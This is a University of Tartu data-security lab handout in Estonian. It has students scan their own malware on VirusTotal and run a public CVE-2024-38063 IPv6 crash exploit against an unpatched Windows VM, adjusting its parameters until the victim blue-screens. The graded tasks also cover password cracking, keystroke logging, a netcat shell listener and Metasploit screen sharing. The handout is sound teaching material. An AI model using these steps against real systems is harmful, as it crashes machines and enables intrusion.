Uurime nüüd lähemalt, mida arvavad erinevad viirusetõrje tarkvarad meie loodud pahavarast. Selleks laadige putty-fixed.exe tarkvara üles aadressile https://virustotal.com ja oodake paar minutit, millal veebileht lõpetab faili analüüsi. Tutvuge tulemustega.

NB! VirusTotal lehele võib olla vaja umbes 1 minuti möödudes teha värskendus (refresh), et see uuendaks kuvatavaid andmeid. Selle analüüsiga on osadel tudengitel läinud ka umbes 15 minutit või VirusTotal suure koormuse hetkedel pole üldse analüüsi teostatud. Sellisel juhul võiks mõne aja pärast uuesti proovida enda loodud pahalasega faili analüüsiks üles laadida.

NB! pordinumber võib tekkida ka Memory Patterns alla. Ekraanipildi esitusel tehke oma pordinumber seal aktiivseks.

  • 13-5: Esitage ekraanivaade virustotal.com veebilehel BEHAVIOR vahelehest, kus on Network Communication -> IP Traffic juures näha teie matriklinumbri kolmele viimasele numbrile vastav pordinumber. Seda analüüsib VirusTotal Jujubox sandbox.

Kujutis 13. VirusTotal analüüs iseloodud pahavarale.

CVE-2024-38063

Nüüd viime läbi rünnaku 2024. aasta augustis avalikustatud Windows masinate turvanõrkuse vastu, mis töötab ainult IPv6 kasutades. Väärib mainimist, et antud rünnakule tuli turvauuendus juba 2024. aasta septembris, kuid kuna Tiny11 ei saa kõiki värskeid uuendusi ning on loodud enne selle nõrkuse parandamist, siis saame rünnakut sellel masinal veel läbi viia.

NB! Lülitage Tiny11 virtuaalmasin sama bridged adapter peale, mis teil Kali Linux masin on.

Siinkohal tulevad teie eelmises ülesandes kogutud andmed ohvri kohta kasuks. Teame ohvri masina operatsioonisüsteemi versiooni ning tema IP-aadressi ja MAC-aadressi (Armitage intense scani väljundist). Seega teame, et uuemad ründed näiteks 2024. aastast pole enam parandatud ohrvi masinal. Kogutud andmete põhjal saame rünnata ohvri masinat CVE-2024-38063 turvanõrkust ära kasutades.

NB! Antud rünnak toimib ainult IPv6 peal. Kontrollige, kas teie Kali Linux ning Tiny11 masinatel on parasjagu IPv6 aadress. Kui teil pole IPv6 aadressi, siis:

  1. Kontrollige VirtualBox seadetest, et teil oleks Bridged adapter sisse lülitatud.
  2. Kontrollige kas teie interneti teenusepakkuja väljastab IPv6 aadresse järgnevalt veebilehelt:
    • https://test-ipv6.com/
      • Pöörake tähelepanu DNS serveri väljale. Kui see pole rohelise linnukesega, siis proovige võimaluse korral teisi võrguühendusi nagu näiteks muu kaabelvõrk, WI-FI, telefoni hotspot.
    • Kodus tegijatel soovitame rohelise linnukese puudumisel tulla praktikumi koha peale või proovida lahendada ülesannet näiteks Delta raamatukogus (Narva mnt 18) type-c võrgukaabliga ühendades.
  3. Kui on roheline linnuke, siis tehke masinate võrguliidestele restart ning vaadake kas IPv6 aadress tekib.
    • Linux puhul sudo systemctl restart NetworkManager
    • Windows puhul Settings -> Network & Internet -> Advanced network settings -> Network Reset -> Reset now

Ründaja

$ sudo apt install python3-scapy
$ git clone https://github.com/ynwarcs/CVE-2024-38063.git

Seejärel liikuge äsja kloonitud kausta ning sealt edasi kausta script. Peaksite nägema seal faili cve-2024-38063.py. Avage fail nano abil ning uurige seda põgusalt. Kohe koodi algul on näha muutujad iface, ip_addr ja mac_addr, mis on defineerimata. Leidke ja lisage neile väärtused:

  • iface - ründava masina võrguliides (ingl network interface)
    • Kali masinast leitav käsuga ifconfig.
    • Peaks olema eth0.
  • ip_addr - ohvri IPv6 aadress
    • Leidke Windows ohvri masinas oma IPv6 link-local aadress. Leiate selle ka varasemalt isetehtud pahavaraga ründe ekraanipildilt.
    • NB! Aadressi kopeerides eemaldage vajadusel lõpust tsooni indeks, mis algab % märgisega.
  • mac_addr - ohvri MAC-aadress
    • Windows masinas leitav getmac käsuga. Peaks olema nähtav ka Armitage intense scan väljundist.
    • NB! asendage MAC-aadressil vajadusel sidekriipsud koolonitega (08-00-27-93-83-38 -> 08:00:27:93:83:38).

Kui olete vastavad väärtused leidnud, siis salvestage muudatused ning avage Kali Linux masinas Wireshark:

$ wireshark

Püüdke pakette võrguliidesel eth0 ning pange filtriks:

  • ipv6.addr == <link-local ohvri IPv6> && ipv6

Nüüd saame näha, mis rünnaku käigus juhtub. Jätke Wireshark kõrval aknas nähtavaks ning kontrollige, et ohvri masin töötaks ja ei ole hangunud. Seejärel käivitage ründekood:

$ sudo python3 cve-2024-38063.py

Peaks algama minutiline taimer, mille käigus saadetakse suurtes kogustes IPv6 pakette. Sellega koormatakse ohvri masin üle ja see peaks kokku jooksma. Peaksite saama hetkelise Blue screen of death akna enne kui virtuaalmasin taaskäivitub. Ohvri masin võib ka jäädavalt hanguda.

  • NB! Kui ka mõnda aega peale taimeri lõppemist pole ohver kokku jooksnud, siis suurendage cve-2024-38063.py koodis num_tries ja num_batches väärtuseid ning proovige uuesti.

Ohver

Kui ohvri masin jälle tööle läheb, siis minge uurige süsteemi logisid:

  1. Parem hiireklahv Windowsi Start menüüle
  2. Event Viewer
  3. Windows Logs
  4. System

Uurige sealseid logisid ning leidke masina kokkujooksmise hetkel toimunud Error logi, mille Event ID on 1001.

Kujutis 14. Windows EventViewer bugcheck 0x000000d1 peale teenusetõkestust.

NB! Bugcheck kood ei pruugi olla alati 0x000000d1, kuid on enam-vähem samal kujul.

  • 13-6: Esitage ekraanivaade Kali Linux ja Tiny11 masinatest, kus on esile toodud BugCheck kood ning cve-2024-38063.py käivitamise väljund.

NB! Kui olete kõik praktikumi ülesanded edukalt lahendanud, siis võite Tiny11 ning Windows_XP_SP3 virtuaalmasinad kustutada.

Praktikumi ülesanded

Praktikumi ülesannete lahendamine annab neli punkti ja esitamiseks on kaks nädalat alates praktikumi toimumisajast (Personaalne tähtaeg vahemikus 19-22. mai).

  • 13-1: Mis on Andmeturve Windows XP Administrator kasutaja parool? (mitte esitada parooli räsi ja mitte esitada LM puhul osaliselt sobivat Partial match vastust) - 0.5p
  • 13-2: Esitage Kali Linux Armitage tarkvarast täisekraanivaade, kus on selgelt näha teie ohver (punane), Log Keystrokes edukas rünne ja teie Eesnimi ning Perenimi. - 1p
  • 13-3: Esitage ekraanipilt, kus on KALI virtuaalmasinas näha ründekäsk (nc -vv -l -p 20XXX), whoami, ls (peab sisaldama perenimi.ps1 faili) ning ipconfig. Kui kõik ühele pildile ei mahu esitage mitu pilti. - 0.5p
  • 13-4: Esitage Kali Linux metasploit tarkvara poolt avatud firefox veebilehitseja screenshare, kus on näha Tiny11 arvutis avatud Command Promptis ipconfig käsu väljund ja seal NAT IP aadress 10.0.2.15. Samuti peab avatud olema teie perenimi.txt fail ja seal sees teie nimi. - 1p
  • 13-5: Esitage ekraanivaade virustotal.com veebilehel BEHAVIOR vahelehest, kus on Network Communication -> IP Traffic juures näha teie matriklinumbri kolmele viimasele numbrile vastav pordinumber. Seda analüüsib VirusTotal Jujubox sandbox. - 0.5p
  • 13-6: Esitage ekraanivaade Kali Linux ja Tiny11 masinatest, kus on esile toodud BugCheck kood ning cve-2024-38063.py käivitamise väljund. -0.5p

Armitage näidisvideod YouTubest.

  • https://www.youtube.com/results?search_query=armitage+xp+hacking
  • https://www.youtube.com/results?search_query=armitage+client+side+attack
  • Institute of Computer Science
  • Faculty of Science and Technology
  • University of Tartu
In case of technical problems or questions write to:

Contact the course organizers with the organizational and course content questions.
The proprietary copyrights of educational materials belong to the University of Tartu. The use of educational materials is permitted for the purposes and under the conditions provided for in the copyright law for the free use of a work. When using educational materials, the user is obligated to give credit to the author of the educational materials.
The use of educational materials for other purposes is allowed only with the prior written consent of the University of Tartu.
Terms of use for the Courses environment